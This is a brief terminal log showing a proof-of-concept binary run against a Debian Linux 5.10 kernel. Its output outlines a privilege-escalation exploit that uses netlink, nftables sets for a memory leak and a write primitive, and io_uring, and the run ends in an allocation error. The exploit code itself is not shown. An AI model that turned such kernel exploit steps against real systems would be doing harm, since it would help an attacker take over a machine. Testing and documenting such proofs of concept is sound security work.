demo@loli:/home
$ uname -a
Linux loli 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
demo@loli:/home
$ ls -l poc
-rwxr-xr-x 1 demo demo 735952 júl 21 21.36 poc
demo@loli:/home
$ ./poc
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[*] Leak in process[-] io_uring_create: Cannot allocate memory
demo@loli:/home